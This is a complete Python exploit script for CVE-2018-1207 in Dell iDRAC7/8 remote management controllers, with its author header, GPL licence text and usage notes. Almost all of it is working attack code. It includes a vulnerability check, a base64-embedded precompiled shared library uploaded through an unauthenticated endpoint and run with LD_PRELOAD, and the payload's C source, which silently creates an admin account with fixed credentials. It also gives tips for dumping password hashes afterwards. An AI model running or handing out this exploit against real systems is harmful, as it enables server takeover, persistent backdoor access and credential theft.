# Exploit Title: Dell EMC iDRAC7/iDRAC8 2.52.52.52 -  Remote Code Execution (RCE)
 via file upload
# Date: 2024-08-28
# Exploit Author: Photubias
# Vendor Homepage: https://dell.com
# Vendor Advisory: [1] https://dl.dell.com/manuals/all-products/esuprt_solutions_int/esuprt_solutions_int_solutions_resources/dell-management-solution-resources_White-Papers6_en-us.pdf
# Version: integrated Dell Remote Access Console v7 & v8 < 2.52.52.52
# Tested on: iDRAC 7 & 8
# CVE: CVE-2018-1207

r'''
    Copyright 2024 Photubias(c)
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.

    File name CVE-2018-1207.py
    written by Photubias

    CVE-2018-1207 is an unauthenticated file upload and
     so library execution vulnerability on the HTTPS web interface.
    This exploit contains a checker and a builtin exploit to add a webuser for remote admin access

    # Manual verification example, if libraries are returned, the target is vulnerable:
    #      curl -ik "http://192.168.1.100//cgi-bin/login?LD_DEBUG=files"

    Feel free to scan your network via the iDRAC fingerprinter to find vulnerable systems:
    https://github.com/tijldeneut/Security/blob/master/iDRAC-fingerprinter.py

    This is a native implementation, written in Python 3 and only requires requests (pip3 install requests)
    Works equally well on Windows as Linux (as MacOS, probably ;-)

    Features: vulnerability checker + exploit

    WARNING: The built-in payload is precompiled and does this:
    - Configure USER ID 13 with username 'user', password 'Passw0rd' and as an iDRAC webadmin
    - Any user that might be at ID 13 will be overridden and is unrecoverable
    - TIP1: use racadm for command line access after exploitation (also uses TCP/443)
    - TIP2: use racadm to retrieve user hash with command: racadm -r <ip> -u user -p Passw0rd get iDRAC.Users.2
'''

import requests, optparse, base64, struct, time
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
requests.warnings.filterwarnings('ignore', category=DeprecationWarning)

iTimeout = 10

sPayloadCode ='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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUBQAA/////wAAAAD/////AAAAAAEAAABhAAAADAAAAAADAAANAAAAYAcAABkAAAAUDwEAGwAAAAQAAAAEAAAAGAEAAPX+/29IAQAABQAAANABAAAGAAAAYAEAAAoAAAB1AAAACwAAABAAAAADAAAABBABAAIAAAAwAAAAFAAAAAcAAAAXAAAAvAIAAAcAAAB0AgAACAAAAEgAAAAJAAAADAAAAP7//29UAgAA////bwEAAADw//9vRgIAAPn//28CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAoDwEAAAAAAAAAAACIAwAApAMAAMADAADcAwAAAAAAAAAAAAAAAAAAAAAAAEdDQzogKFVidW50dSAxMC41LjAtMXVidW50dTF+MjIuMDQpIDEwLjUuMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0AAAAAAAAAAMAAQAAAAAAGAEAAAAAAAADAAIAAAAAAEgBAAAAAAAAAwADAAAAAABgAQAAAAAAAAMABAAAAAAA0AEAAAAAAAADAAUAAAAAAEYCAAAAAAAAAwAGAAAAAABUAgAAAAAAAAMABwAAAAAAdAIAAAAAAAADAAgAAAAAALwCAAAAAAAAAwAJAAAAAAAAAwAAAAAAAAMACgAAAAAAZAMAAAAAAAADAAsAAAAAAPADAAAAAAAAAwAMAAAAAABgBwAAAAAAAAMADQAAAAAAmAcAAAAAAAADAA4AAAAAAEgIAAAAAAAAAwAPAAAAAAAUDwEAAAAAAAMAEAAAAAAAGA8BAAAAAAADABEAAAAAACAPAQAAAAAAAwASAAAAAAAoDwEAAAAAAAMAEwAAAAAAABABAAAAAAADABQAAAAAAAQQAQAAAAAAAwAVAAAAAAAwEAEAAAAAAAMAFgAAAAAAAAAAAAAAAAADABcAAQAAAAAAAAAAAAAABADx/wwAAAAYDwEAAAAAAAEAEQAaAAAAIA8BAAAAAAABABIAKAAAAPADAAAAAAAAAgAMACoAAAAoBAAAAAAAAAIADAA9AAAAcAQAAAAAAAACAAwAUwAAADAQAQABAAAAAQAWAF8AAAA0EAEABAAAAAEAFgBqAAAACAUAAAAAAAACAAwAAQAAAAAAAAAAAAAABADx/3YAAAAcDwEAAAAAAAEAEQCDAAAASAgAAAAAAAABAA8AkQAAACAHAAAAAAAAAgAMAKcAAAAAAAAAAAAAAAQA8f+xAAAAFAUAAAwCAAACAAwAAAAAAAAAAAAAAAAABADx/7YAAABgBwAAAAAAAAIADQC8AAAAJA8BAAAAAAABABIAyQAAAAAQAQAAAAAAAQAUANYAAAAoDwEAAAAAAAEA8f/fAAAABBABAAAAAAABABUA6wAAAAQQAQAAAAAAAQDx/wEBAAAAAwAAAAAAAAIACgAHAQAAAAAAAAAAAAAiAAAAIAEAAAAAAAAAAAAAIAAAADwBAAAAAAAAAAAAABIAAABNAQAAAAAAAAAAAAAgAAAAXAEAAAAAAAAAAAAAEgAAAGsBAAAAAAAAAAAAACAAAAAAY3J0c3R1ZmYuYwBfX0NUT1JfTElTVF9fAF9fRFRPUl9MSVNUX18AZGVyZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC4xAGR0b3JfaWR4LjAAZnJhbWVfZHVtbXkAX19DVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AGFkZHVzZXIuYwBtYWluAF9maW5pAF9fRFRPUl9FTkRfXwBfX2Rzb19oYW5kbGUAX0RZTkFNSUMAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9pbml0AF9fY3hhX2ZpbmFsaXplQEdMSUJDXzIuMgBfSVRNX2RlcmVnaXN0ZXJUTUNsb25lVGFibGUAZXhlY2xwQEdMSUJDXzIuMgBfX2dtb25fc3RhcnRfXwBmb3JrQEdMSUJDXzIuMgBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsYS5keW4ALnJlbGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5jdG9ycwAuZHRvcnMALmR5bmFtaWMALmRhdGEALmdvdAAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAD0AAAA9AAAACQAAAAAAAAAAAAAAAQAAAAAAAAAMgAAAAUAAAACAAAAGAEAABgBAAAwAAAABAAAAAAAAAAEAAAABAAAAC4AAAD2//9vAgAAAEgBAABIAQAAGAAAAAQAAAAAAAAABAAAAAQAAAA4AAAACwAAAAIAAABgAQAAYAEAAHAAAAAFAAAAAQAAAAQAAAAQAAAAQAAAAAMAAAACAAAA0AEAANABAAB1AAAAAAAAAAAAAAABAAAAAAAAAEgAAAD///9vAgAAAEYCAABGAgAADgAAAAQAAAAAAAAAAgAAAAIAAABVAAAA/v//bwIAAABUAgAAVAIAACAAAAAFAAAAAQAAAAQAAAAAAAAAZAAAAAQAAAACAAAAdAIAAHQCAABIAAAABAAAAAAAAAAEAAAADAAAAG4AAAAEAAAAQgAAALwCAAC8AgAAMAAAAAQAAAAVAAAABAAAAAwAAAB4AAAAAQAAAAYAAAAAAwAAAAMAAGQAAAAAAAAAAAAAACAAAAAAAAAAcwAAAAEAAAAGAAAAZAMAAGQDAACMAAAAAAAAAAAAAAAEAAAABAAAAH4AAAABAAAABgAAAPADAADwAwAAaAMAAAAAAAAAAAAABAAAAAAAAACEAAAAAQAAAAYAAABgBwAAYAcAADgAAAAAAAAAAAAAACAAAAAAAAAAigAAAAEAAAACAAAAmAcAAJgHAACvAAAAAAAAAAAAAAAEAAAAAAAAAJIAAAABAAAAAgAAAEgIAABICAAABAAAAAAAAAAAAAAABAAAAAAAAACcAAAADgAAAAMAAAAUDwEAFA8AAAQAAAAAAAAAAAAAAAQAAAAEAAAAqAAAAAEAAAADAAAAGA8BABgPAAAIAAAAAAAAAAAAAAAEAAAAAAAAAK8AAAABAAAAAwAAACAPAQAgDwAACAAAAAAAAAAAAAAABAAAAAAAAAC2AAAABgAAAAMAAAAoDwEAKA8AANgAAAAFAAAAAAAAAAQAAAAIAAAAvwAAAAEAAAADAAAAABABAAAQAAAEAAAAAAAAAAAAAAAEAAAAAAAAAMUAAAABAAAAAwAAAAQQAQAEEAAALAAAAAAAAAAAAAAABAAAAAQAAADKAAAACAAAAAMAAAAwEAEAMBAAAAgAAAAAAAAAAAAAAAQAAAAAAAAAzwAAAAEAAAAwAAAAAAAAADAQAAArAAAAAAAAAAAAAAABAAAAAQAAAAEAAAACAAAAAAAAAAAAAABcEAAAUAMAABkAAAAvAAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAAArBMAAIUBAAAAAAAAAAAAAAEAAAAAAAAAEQAAAAMAAAAAAAAAAAAAADEVAADYAAAAAAAAAAAAAAABAAAAAAAAAA=='
#> For the source code of this pre-compiled C code, see below

## Main program
class CustomHTTPAdapter(requests.adapters.HTTPAdapter):
    def init_poolmanager(self, *args, **kwargs):
        context = requests.ssl.create_default_context()
        context.set_ciphers('ALL:@SECLEVEL=0')
        context.check_hostname = False
        context.minimum_version = requests.ssl.TLSVersion.SSLv3
        super().init_poolmanager(*args, **kwargs, ssl_context=context)

def callURL(sURL, oSession, bData=None, lstProxies={}, boolVerbose=False):
    try:
        if bData: oResponse = oSession.post(sURL, data=bData, proxies=lstProxies, verify=False) ## Removed timeout here, as it may take a long time to upload files
        else: oResponse = oSession.get(sURL, proxies=lstProxies, verify=False, timeout = iTimeout)
    except: oResponse = None
    return oResponse

def checkVuln(sIP, oSession, lstProxies={}, boolVerbose=False):
    oResponse = callURL(f'https://{sIP}/cgi-bin/login?LD_DEBUG=files', oSession, lstProxies = lstProxies)
    if not oResponse is None and 'calling init: /lib/' in oResponse.text:
        if boolVerbose:
            print('[*] Data returned: ')
            print(oResponse.text)
        return True
    return False

def uploadAndRunLibrary(bData, oSession, sIP, lstProxies, boolVerbose=False):
    iFFLAGS = 1
    bFAlias = b'RACPKSSHAUTHKEY1'
    bLib = bFAlias + (32 - len(bFAlias))*b'\0'
    bLib += struct.pack('<L', len(bData))
    bLib += struct.pack('<L', iFFLAGS)
    bLib += bData

    oResp = callURL(f'https://{sIP}/cgi-bin/putfile', oSession, bLib, lstProxies, boolVerbose)
    if not oResp is None and oResp.status_code == 200:
        print('[+] File upload successful, giving the system 5 seconds before execution')
        for i in range(5,0,-1):
            print(i, end='\r')
            time.sleep(1)
    else:
        print('[-] Error uploading a file, maybe timeout issue, exiting now')
        exit()

    oResp = callURL(f'https://{sIP}/cgi-bin/discover?LD_PRELOAD=/tmp/sshpkauthupload.tmp', oSession, None, lstProxies, boolVerbose)
    if not oResp is None and oResp.status_code == 200:
        if boolVerbose: print('[+] Response on executing the library: \n{}'.format(oResp.text))
    else:
        print('[-] Error executing the library, maybe timeout issue, exiting now')
        exit()
    return True

def main():
    sUsage = (
    'usage: %prog [options] IP/FQDN \n'
    'Example: CVE-2018-1207.py 192.168.0.100\n\n'
    'This script verifies CVE-2018-1207 and then configures/overwrites an admin user with ID 13\n'
    'Built-in creds: username \'user\' and password \'Passw0rd\''
    )

    parser = optparse.OptionParser(usage=sUsage)
    parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
    parser.add_option('--verbose', '-v', dest='verbose', help='Optional: be verbose, default False', action='store_true', default = False)

    (options, args) = parser.parse_args()
    if len(args) == 0: exit(sUsage)
    sIP = args[0]
    oSession  = requests.Session()
    oSession.mount('https://', CustomHTTPAdapter())
    if options.proxy: lstProxies = {'https':options.proxy}
    else: lstProxies={}

    print('[+] Checking if https://{} is vulnerable'.format(sIP))
    if checkVuln(sIP, oSession, lstProxies, options.verbose):
        print('[+] Success, target seems vulnerable')
        input('[?] Proceed to exploit and overwrite user ID 13? Press enter to continue or Ctrl+C to cancel now')

    print('[+] Okay, uploading the pre-compiled file now, this might take a while: ')
    if uploadAndRunLibrary(base64.b64decode(sPayloadCode), oSession, sIP, lstProxies, options.verbose): print('[+] Succesfully started the reconfiguration of user ID 13')
    print('\n[+] All done, please allow 5 to 10 minutes for file execution and then\n     open a browser to https://{} and log in (user / Passw0rd)\n     or retrieve some hashes via the CLI tool racadm'.format(sIP))

if __name__ == '__main__':
    main()

'''
[adduser.c]
#include <unistd.h>
#include <stdio.h>

static void main(void) __attribute__((constructor));
static void main(void)
{
	int pid1 = fork();
    if(!pid1) {
		execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminUserName", "user", (char*) NULL);
	}
	int pid2 = fork();
    if(!pid2) {
		execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminPassword", "Passw0rd", (char*) NULL);
	}
	int pid3 = fork();
    if(!pid3) {
		execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminPrivilege", "0x000001ff", (char*) NULL);
	}
	int pid4 = fork();
    if(!pid4) {
		execlp("racadm", "racadm", "config", "-g", "cfgUserAdmin", "-i", "13", "-o", "cfgUserAdminEnable", "1", (char*) NULL);
	}
	// Note: it takes 5 to 10 minutes before these 4 commands are executed
}
// Install "gcc-10-sh4-linux-gnu" (or replace gcc-10 with gcc-11 or newer) and compile the code like this:
//  sh4-linux-gnu-gcc-10 -shared -fPIC adduser.c -o adduser.so
'''